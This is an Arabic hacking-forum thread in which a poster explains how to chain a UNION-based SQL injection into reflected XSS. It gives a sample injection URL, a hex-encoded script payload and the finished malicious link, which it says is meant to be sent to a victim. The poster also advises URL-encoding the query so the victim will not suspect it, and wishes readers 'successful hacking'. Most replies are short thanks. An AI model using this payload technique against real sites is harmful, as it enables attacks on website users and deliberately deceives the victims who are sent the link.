العلاقة ما بين SQL injection & XSS

[JetLi]

السلام عليكم ،
الجميع يعرف الحقن والثغرة الاخرىى ولكن هل يمكننا استغلال ثغرة الحقن لتوليد xss يمكن ذلك ولكن بعدة شروط ،

الشرط الاول :
- ظهور الاعمدة المصابة في الصفحة مثلا 1و2و3 ....
الشرط الثاني:
- دالة hex تكون غير محظورة لاننا سنتغلها لحقن كود الجافا،

نأتي للطريقة :
مثلا لديك رابط حقن في الموقع

http://www.site.com/index.php?id=-1+union+select+1--

نستبدل الرقم 1 الاخير بدالة hex
ونشفر الكود ***************('9');</script> بستخدام اي موقع تشفير او اضافة firefox المسماة hackbar

انا شفرتها لكم :

0x3c7363726970743e616c6572742839293b3c2f7363726970743e

يصبح رابط xss الذي سترسله للضحية بالشكل التالي

http://www.site.com/index.php?id=-1+union+select+hex(0x3c7363726970743e616c6572742839293b3c2f7363726970743e)--

طبعا يمكنك ان تعمل عملية url encode لتعليمات union +select الإخفائها حتى لا يشك الضحية ،
في الختام اختراق موفق ،
اذا عجبك الموضوع قيمني

[pirata]

مشكور

[bleu moon]

هه حلو يا ايروون موضوع مميز من عضو اكثر من مميز هه

[vpn_31]

مشكور ياحب عل شرح والتوضيح

[ssmba]

مشكور

[SoLiTair4Ever]

بارك الله فيك أخي
موضوع أكثر من الرائع

[JetLi]

وين التقييم ،؟؟؟ لا بأس هناك بعد الثغرات اصبحت مدموجة مع بعض ونوعا ما ثغرة xss اصبحت تطفو إلى السطح والاهتمام يزيد بها ولكن للأسف الثغرة المخزنة في قواعد البيانات افضل من الثغرة الانية ( ارسال رابط للضحية ) لان نسبة الاخيرة في الفشل هي اكبر

[almazzikaty]

شرح رائع مشكوووور

[عبقري زمانك]

شكرا

[k4$p3r-MA]

خطوة صحيحة
مشكور ع المعلومة واصل تمييزك

[tahahmed]

جزاك الله خير

[يحيى زكريا]

جزاك الله خير

[إُلقنـآصّ]

شكلة موضوع جامد بس انا دخلت للعميق ولسا مادخلت للبدايه .،

شكرا لك استاذي القدير